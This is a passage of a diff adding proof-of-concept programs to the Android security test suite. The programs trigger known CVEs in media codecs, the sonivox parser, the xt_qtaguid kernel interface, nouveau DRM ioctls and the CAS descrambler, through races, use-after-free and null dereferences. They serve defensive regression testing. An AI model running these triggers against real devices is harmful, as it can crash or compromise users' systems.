+ auto transStatus = mAllocator->allocate(def.nBufferSize,
+ [&success, &buffer](
+ bool s,
+ hidl_memory const& m) {
+ success = s;
+ buffer.mHidlMemory = m;
+ });
+ omxExitOnError(!transStatus.isOk());
+ omxExitOnError(!success);
+ omxUtilsUseBuffer(portIndex, buffer.mHidlMemory, &buffer.mID);
+ buffers->push(buffer);
+ }
+ return OK;
+}
+#endif /* _32_BIT */
+
+int main() {
+
+// This PoC is only for 32-bit builds
+#if _32_BIT
+ int i;
+ Vector < Buffer > inputBuffers;
+ Vector < Buffer > outputBuffers;
+ status_t err = omxUtilsInit((char*) "OMX.google.h264.decoder");
+
+ omxExitOnError(err);
+
+ OMX_PARAM_PORTDEFINITIONTYPE def;
+ omxUtilsGetParameter(OMX_UTILS_IP_PORT, &def);
+
+ int inMemorySize = def.nBufferCountActual * def.nBufferSize;
+ int inBufferCount = def.nBufferCountActual;
+ sp < MemoryDealer > dealerIn = new MemoryDealer(inMemorySize);
+ IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCount];
+
+ omxUtilsGetParameter(OMX_UTILS_OP_PORT, &def);
+
+ int outMemorySize = def.nBufferCountActual * def.nBufferSize;
+ int outBufferCount = def.nBufferCountActual;
+ sp < MemoryDealer > dealerOut = new MemoryDealer(outMemorySize);
+ IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCount];
+
+ allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers);
+ for (i = 0; i < inBufferCount; ++i) {
+ inBufferId[i] = inputBuffers[i].mID;
+ }
+
+ allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers);
+ for (i = 0; i < outBufferCount; ++i) {
+ outBufferId[i] = outputBuffers[i].mID;
+ }
+
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+
+ OMX_U32 flags = OMX_BUFFERFLAG_ENDOFFRAME;
+ int64_t timeUs = TIMESTAMP_US;
+ omxUtilsEmptyBuffer(inBufferId[0], OMXBuffer::sPreset, flags, timeUs, -1);
+ omxUtilsFillBuffer(outBufferId[0], OMXBuffer::sPreset, -1);
+
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded);
+
+ for (i = 0; i < inBufferCount; ++i) {
+ omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mID);
+ }
+
+ for (i = 0; i < outBufferCount; ++i) {
+ omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mID);
+ }
+
+ omxUtilsFreeNode();
+#endif /* _32_BIT */
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13234/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13234/Android.mk
new file mode 100644
index 0000000..59b58a7
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13234/Android.mk
@@ -0,0 +1,34 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2017-13234
+LOCAL_SRC_FILES := poc.c
+LOCAL_SRC_FILES += ../includes/memutils_track.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES += external/sonivox/arm-wt-22k/host_src
+LOCAL_SHARED_LIBRARIES := libsonivox
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+LOCAL_CFLAGS += -DCHECK_MEMORY_LEAK -DENABLE_SELECTIVE_OVERLOADING
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13234/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13234/poc.c
new file mode 100644
index 0000000..3e9c66b
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13234/poc.c
@@ -0,0 +1,77 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <stdlib.h>
+#include <string.h>
+#include <stdbool.h>
+#include "../includes/memutils_track.h"
+#include "eas.h"
+
+char enable_selective_overload = ENABLE_NONE;
+
+bool is_tracking_required(size_t size) {
+ return ((size != 1024) && (size != 4096));
+}
+
+int EAS_fread(void *handle, void *buf, int offset, int size) {
+ fseek(handle, offset, SEEK_SET);
+ return fread(buf, 1, size, handle);
+}
+
+int EAS_fsize(void *handle) {
+ fseek(handle, 0, SEEK_END);
+ return ftell(handle);
+}
+
+static void PlayFile(EAS_DATA_HANDLE easData, const char* filename) {
+ EAS_HANDLE handle;
+ EAS_FILE file;
+ file.handle = (void*) fopen(filename, "rb");
+ file.readAt = EAS_fread;
+ file.size = EAS_fsize;
+ enable_selective_overload = ENABLE_MALLOC_CHECK;
+ if (EAS_OpenFile(easData, &file, &handle) != EAS_SUCCESS) {
+ enable_selective_overload = ENABLE_NONE;
+ if(file.handle) {
+ fclose(file.handle);
+ }
+ return;
+ }
+ EAS_Prepare(easData, handle);
+ EAS_CloseFile(easData, handle);
+ enable_selective_overload = ENABLE_NONE;
+ if(file.handle) {
+ fclose(file.handle);
+ }
+ return;
+}
+
+int main(int argc, char **argv) {
+ EAS_DATA_HANDLE easData;
+ EAS_RESULT result;
+
+ if (argc < 2) {
+ return EXIT_FAILURE;
+ }
+
+ result = EAS_Init(&easData);
+ if (result != EAS_SUCCESS) {
+ return EXIT_FAILURE;
+ }
+ PlayFile(easData, argv[1]);
+ EAS_Shutdown(easData);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13241/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13241/Android.mk
new file mode 100644
index 0000000..e4dc14c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13241/Android.mk
@@ -0,0 +1,44 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2017-13241
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_SRC_FILES += ../includes/omxUtils.cpp
+LOCAL_MULTILIB := 32
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_C_INCLUDES := frameworks/native/include/media/openmax
+LOCAL_C_INCLUDES += frameworks/av/media/libstagefright/
+LOCAL_C_INCLUDES += frameworks/native/include/media/hardware/
+LOCAL_SHARED_LIBRARIES := libstagefright
+LOCAL_SHARED_LIBRARIES += libbinder
+LOCAL_SHARED_LIBRARIES += libmedia_omx
+LOCAL_SHARED_LIBRARIES += libutils
+LOCAL_SHARED_LIBRARIES += liblog
+LOCAL_SHARED_LIBRARIES += libstagefright_foundation
+LOCAL_SHARED_LIBRARIES += libcutils
+LOCAL_SHARED_LIBRARIES += libhidlbase
+LOCAL_SHARED_LIBRARIES += android.hidl.allocator@1.0
+LOCAL_SHARED_LIBRARIES += android.hidl.memory@1.0
+LOCAL_SHARED_LIBRARIES += android.hardware.media.omx@1.0
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13241/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13241/poc.cpp
new file mode 100644
index 0000000..e7b3eca
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13241/poc.cpp
@@ -0,0 +1,134 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "../includes/omxUtils.h"
+#define FRAME_WIDTH 2000
+#define FRAME_HEIGHT 2000
+#define FRAME_RATE (30 << 16)
+#define BUFFER_SIZE 12
+#define BUFFER_COUNT 2
+#define EMPTY_BUFFER_DONE_CALLBACK_TIMEOUT_SEC 30
+extern int numCallbackEmptyBufferDone;
+sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
+int allocateHidlPortBuffers(OMX_U32 portIndex, Vector<Buffer> *buffers,
+ int BufferSize) {
+ buffers->clear();
+ OMX_PARAM_PORTDEFINITIONTYPE def;
+ int err = omxUtilsGetParameter(portIndex, &def);
+ omxExitOnError(err);
+ for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
+ Buffer buffer;
+ buffer.mFlags = 0;
+ bool success;
+ auto transStatus = mAllocator->allocate(BufferSize, [&success, &buffer](
+ bool s,
+ hidl_memory const& m) {
+ success = s;
+ buffer.mHidlMemory = m;
+ });
+ omxExitOnError(!transStatus.isOk());
+ omxExitOnError(!success);
+ buffers->push(buffer);
+ }
+ return OK;
+}
+int main() {
+ status_t err;
+ /* Initialize OMX for the specified codec */
+ status_t ret = omxUtilsInit((char *) "OMX.google.h264.encoder");
+ omxExitOnError(ret);
+ int allCallbacksReceivedEmptyBufferDone = 0;
+ /* Get OMX input port parameters */
+ OMX_PARAM_PORTDEFINITIONTYPE *params =
+ (OMX_PARAM_PORTDEFINITIONTYPE *) malloc(
+ sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ params->nPortIndex = OMX_UTILS_IP_PORT;
+ params->format.video.nFrameWidth = FRAME_WIDTH;
+ params->format.video.nFrameHeight = FRAME_HEIGHT;
+ params->format.video.xFramerate = FRAME_RATE;
+ params->format.video.eCompressionFormat = OMX_VIDEO_CodingUnused;
+ params->format.video.eColorFormat = OMX_COLOR_FormatAndroidOpaque;
+ params->nBufferSize = BUFFER_SIZE;
+ params->nBufferCountActual = params->nBufferCountMin = BUFFER_COUNT;
+ err = omxUtilsSetParameter(OMX_UTILS_IP_PORT, params);
+ memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ err = omxUtilsGetParameter(OMX_UTILS_IP_PORT, params);
+ /* prepare input port buffers */
+ int inMemSize = params->nBufferCountActual * params->nBufferSize;
+ int inBufferCnt = params->nBufferCountActual;
+ int inBufferSize = inMemSize / inBufferCnt;
+ IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+ /* Get OMX output port parameters */
+ omxUtilsGetParameter(OMX_UTILS_OP_PORT, params);
+ /* prepare output port buffers */
+ int outMemSize = params->nBufferCountActual * params->nBufferSize;
+ int outBufferCnt = params->nBufferCountActual;
+ int outBufferSize = outMemSize / outBufferCnt;
+ IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+ Vector < Buffer > inputBuffers;
+ Vector < Buffer > outputBuffers;
+ /* Register input buffers with OMX component */
+ allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers, inBufferSize);
+ for (int i = 0; i < inBufferCnt; i++) {
+ inBufferId[i] = inputBuffers[i].mID;
+ err = omxUtilsUseBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mHidlMemory,
+ &inBufferId[i]);
+ }
+ /* Register output buffers with OMX component */
+ allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers, outBufferSize);
+ for (int i = 0; i < outBufferCnt; i++) {
+ outBufferId[i] = outputBuffers[i].mID;
+ err = omxUtilsUseBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mHidlMemory,
+ &outBufferId[i]);
+ }
+ /* Do OMX State change to Idle */
+ err = omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ /* Do OMX State change to Executing */
+ err = omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+ for (int i = 0; i < inBufferCnt; i++) {
+ OMXBuffer omxBuf(0, inBufferSize);
+ err = omxUtilsEmptyBuffer(inBufferId[i], omxBuf, 0, 0, -1);
+ }
+ for (int i = 0; i < outBufferCnt; i++) {
+ OMXBuffer omxBuf(0, outBufferSize);
+ err = omxUtilsFillBuffer(outBufferId[i], omxBuf, -1);
+ }
+ /* Do OMX State change to Idle */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ time_t currentTime = time(NULL);
+ time_t waitTimeInSeconds = EMPTY_BUFFER_DONE_CALLBACK_TIMEOUT_SEC;
+ time_t endTime = currentTime + waitTimeInSeconds;
+ while (currentTime < endTime) {
+ if (numCallbackEmptyBufferDone == inBufferCnt) {
+ allCallbacksReceivedEmptyBufferDone = 1;
+ break;
+ }
+ currentTime = time(NULL);
+ }
+ if (!allCallbacksReceivedEmptyBufferDone) {
+ ALOGE("Exiting the app");
+ exit (EXIT_FAILURE);
+ }
+ /* Free input and output buffers */
+ for (int i = 0; i < inBufferCnt; i++) {
+ omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inBufferId[i]);
+ }
+ for (int i = 0; i < outBufferCnt; i++) {
+ omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outBufferId[i]);
+ }
+ /* Free OMX resources */
+ omxUtilsFreeNode();
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13273/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13273/Android.mk
new file mode 100644
index 0000000..1cb7357
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13273/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-13273
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+LOCAL_LDFLAGS += -fPIE -pie
+LOCAL_LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13273/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13273/poc.c
new file mode 100644
index 0000000..0856392
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13273/poc.c
@@ -0,0 +1,136 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <errno.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <stdio.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <sys/socket.h>
+#include <sys/stat.h>
+#include <sys/time.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+#define MAX_THREAD 6
+
+int ctrl_fd;
+static int cmd;
+static int status[MAX_THREAD];
+static int sock_fd;
+
+void *thread_entry(void *arg) {
+ int index, len = 256, ret;
+ char buf[256];
+ index = (int)(unsigned long)arg;
+ memset(buf, 0x0, 256);
+ status[index] = 1;
+
+ // cmd =-1 signifies error in thread creation
+ while (cmd != 1 && cmd != -1) {
+ usleep(5);
+ }
+
+ if (cmd != -1) {
+ switch (index % 3) {
+ case 0:
+ len = sprintf(buf, "d %lu", (unsigned long)0);
+ break;
+ case 2:
+ len = sprintf(buf, "t %d", sock_fd);
+ break;
+ }
+
+ ret = write(ctrl_fd, buf, len);
+ }
+
+ status[index] = 2;
+ return NULL;
+}
+/*
+ *This PoC creates multiple threads to write /proc/net/xt_qtaguid/ctrl device
+ *which causes null pointer derefrences in netstat.
+ */
+int main() {
+ int fd, retry = 1024;
+ int ret, i, loop;
+ pthread_t tid[MAX_THREAD];
+
+ fork();
+ sock_fd = socket(AF_INET, SOCK_STREAM, 0);
+ while (retry--) {
+ cmd = 0;
+ for (i = 0; i < MAX_THREAD; i++) {
+ status[i] = 0;
+ }
+
+ fd = open("/dev/xt_qtaguid", O_RDONLY);
+ if (fd < 0) {
+ return -1;
+ }
+
+ ctrl_fd = open("/proc/net/xt_qtaguid/ctrl", O_RDWR);
+ if (ctrl_fd < 0) {
+ return -1;
+ }
+
+ for (i = 0; i < MAX_THREAD; i++) {
+ ret =
+ pthread_create(&tid[i], NULL, thread_entry, (void *)(unsigned long)i);
+ if (ret != 0) {
+ cmd = -1;
+ close(ctrl_fd);
+ }
+ }
+
+ loop = 1;
+ int count = 0;
+ // loop until all threads have status == 1
+ while (loop) {
+ loop = 0;
+ count = count + 1;
+ for (i = 0; i < MAX_THREAD; i++)
+ if (status[i] != 1) {
+ loop = 1;
+ break;
+ }
+
+ if (loop) {
+ usleep(5);
+ }
+ }
+
+ cmd = 1;
+ loop = 1;
+ while (loop) {
+ loop = 0;
+ count = count + 1;
+ for (i = 0; i < MAX_THREAD; i++)
+ if (status[i] != 2) {
+ loop = 1;
+ break;
+ }
+
+ if (loop) {
+ usleep(5);
+ }
+ }
+ close(fd);
+ }
+ return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/Android.mk
index b4697d5..64ecb5c 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/Android.mk
@@ -10,7 +10,7 @@
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
-# limitations under the License.
+# limitations under the License
LOCAL_PATH := $(call my-dir)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/poc.c
index 1637bd6..5bdd33d 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/poc.c
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/poc.c
@@ -10,26 +10,25 @@
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions vand
+ * See the License for the specific language governing permissions and
* limitations under the License.
*/
#define _GNU_SOURCE
-#include "local_poc.h"
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
-#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
+#include "local_poc.h"
+#include "../includes/common.h"
#define DRMDEV_NAME "/dev/dri/renderD128"
+#define MAX_MAPS 10
-static int drm_version(int fd)
-{
- int ret;
+static int drm_version(int fd) {
struct drm_version ver;
ver.name_len = 100;
ver.date_len = 100;
@@ -39,17 +38,14 @@
ver.date = (char*)malloc(ver.date_len);
ver.desc = (char*)malloc(ver.desc_len);
- ret = ioctl(fd, DRM_IOCTL_VERSION, &ver);
-
- if (ret == -1) {
- return -1;
+ if (ioctl(fd, DRM_IOCTL_VERSION, &ver) < 0) {
+ close(fd);
+ exit(EXIT_FAILURE);
}
return 0;
}
-static int nouveau_gem_ioctl_new(int fd)
-{
- int ret;
+static uint32_t nouveau_gem_ioctl_new(int fd) {
struct drm_nouveau_gem_new new_arg;
memset(&new_arg, 0, sizeof(new_arg));
@@ -57,66 +53,43 @@
new_arg.info.size = 0x1000;
new_arg.info.domain = NOUVEAU_GEM_DOMAIN_GART;
- ret = ioctl(fd, DRM_IOCTL_NOUVEAU_GEM_NEW, &new_arg);
- if (ret == -1) {
- return -1;
+ if (ioctl(fd, DRM_IOCTL_NOUVEAU_GEM_NEW, &new_arg) < 0) {
+ close(fd);
+ exit(EXIT_FAILURE);
}
-
return new_arg.info.handle;
}
-static uint32_t get_gem_map_handle(int fd)
-{
- uint32_t handle;
-
- handle = nouveau_gem_ioctl_new(fd);
-
- return handle;
-}
-
-static void nouveau_gem_ioctl_map(int fd, uint32_t handle)
-{
- int ret;
+static void nouveau_gem_ioctl_map(int fd, uint32_t handle) {
struct drm_nouveau_gem_map map_arg;
memset(&map_arg, 0, sizeof(map_arg));
map_arg.handle = handle;
map_arg.length = 0x1000;
- ret = ioctl(fd, DRM_IOCTL_NOUVEAU_GEM_MAP, &map_arg);
- if (ret == -1) {
- return;
+ if (ioctl(fd, DRM_IOCTL_NOUVEAU_GEM_MAP, &map_arg) < 0) {
+ close(fd);
+ exit(EXIT_FAILURE);
}
}
-void poc()
-{
+int main() {
int fd;
- const int MAX_MAPS = 10;
+ time_t test_started = start_timer();
- fd = open(DRMDEV_NAME, O_RDWR);
- if (fd == -1) {
- return;
+ while (timer_active(test_started)) {
+ fd = open(DRMDEV_NAME, O_RDWR);
+ if (fd < 0) {
+ return -1;
+ }
+
+ drm_version(fd);
+
+ uint32_t handle = nouveau_gem_ioctl_new(fd);
+
+ for (int i = 0; i < MAX_MAPS; i++) {
+ nouveau_gem_ioctl_map(fd, handle);
+ }
+ close(fd);
}
-
- if (drm_version(fd) == -1){
- return;
- }
-
- uint32_t handle = get_gem_map_handle(fd);
-
- for(int i = 0; i < MAX_MAPS; i++){
- nouveau_gem_ioctl_map(fd, handle);
- }
- close(fd);
-
- return;
-}
-
-int main()
-{
- const int MAX_RUNS = 30000;
-
- for(int i = 0; i < MAX_RUNS; i++) {
- poc();
- }
+ return 0;
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9344/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9344/Android.mk
new file mode 100644
index 0000000..a806207
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9344/Android.mk
@@ -0,0 +1,38 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License
+
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2018-9344
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_SHARED_LIBRARIES := \
+ libutils \
+ libbinder \
+ libhidlbase \
+ libhardware \
+ android.hardware.cas.native@1.0 \
+ android.hardware.cas@1.0 \
+
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS = -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9344/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9344/poc.cpp
new file mode 100644
index 0000000..b5153e5
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9344/poc.cpp
@@ -0,0 +1,108 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <android/hardware/cas/1.0/IMediaCasService.h>
+#include <android/hardware/cas/native/1.0/IDescrambler.h>
+#include <binder/ProcessState.h>
+
+using namespace android;
+using hardware::hidl_vec;
+using hardware::Return;
+using namespace hardware::cas::V1_0;
+using android::hardware::Void;
+using android::hardware::cas::native::V1_0::IDescrambler;
+
+class MyMediaCasListener : public ICasListener {
+ public:
+ virtual Return<void> onEvent(int32_t, int32_t, const hidl_vec<uint8_t>&) override {
+ return Void();
+ }
+};
+
+static const int32_t sClearKeySystemId = 0xF6D8;
+static sp<IDescramblerBase> descramblerBase;
+
+static void* thread1(void*) {
+ Return<Status> returnStatus(Status::OK);
+ std::vector<uint8_t> sessionId;
+ sessionId.push_back(1);
+
+ returnStatus = descramblerBase->setMediaCasSession(sessionId);
+
+ return NULL;
+}
+
+int main() {
+ sp<ICas> cas;
+ Status status;
+ sp<IDescrambler> descrambler;
+ Return<Status> returnStatus(Status::OK);
+ Return<sp<IDescramblerBase>> returnDescrambler(NULL);
+ std::vector<uint8_t> sessionId;
+
+ android::ProcessState::self()->startThreadPool();
+
+ sp<IMediaCasService> casService = IMediaCasService::getService("default");
+ if (casService == NULL) {
+ return EXIT_FAILURE;
+ }
+
+ sp<ICasListener> listener;
+ cas = casService->createPlugin(sClearKeySystemId, listener);
+ if (cas == NULL) {
+ return EXIT_FAILURE;
+ }
+
+ auto returnVoid = cas->openSession(
+ [&status, &sessionId](Status _status,
+ const hidl_vec<uint8_t>& _sessionId) {
+ status = _status;
+ sessionId = _sessionId;
+ });
+ if (!returnVoid.isOk() || status != Status::OK) {
+ return EXIT_FAILURE;
+ }
+
+ returnDescrambler = casService->createDescrambler(sClearKeySystemId);
+ if (!returnDescrambler.isOk()) {
+ return EXIT_FAILURE;
+ }
+
+ descramblerBase = (sp<IDescramblerBase>)returnDescrambler;
+
+ if (descramblerBase == NULL) {
+ return EXIT_FAILURE;
+ }
+
+ returnStatus = descramblerBase->setMediaCasSession(sessionId);
+
+ if (!returnStatus.isOk() || (Status)returnStatus != Status::OK) {
+ return EXIT_FAILURE;
+ }
+
+ descrambler = IDescrambler::castFrom(descramblerBase);
+
+ if (descrambler == NULL) {
+ return EXIT_FAILURE;
+ }
+
+ pthread_t pt;
+ pthread_create(&pt, NULL, thread1, NULL);
+
+ descramblerBase->release();
+
+ return EXIT_FAILURE;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9424/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9424/Android.mk
new file mode 100644
index 0000000..0615108
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9424/Android.mk
@@ -0,0 +1,38 @@
+#
+#copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
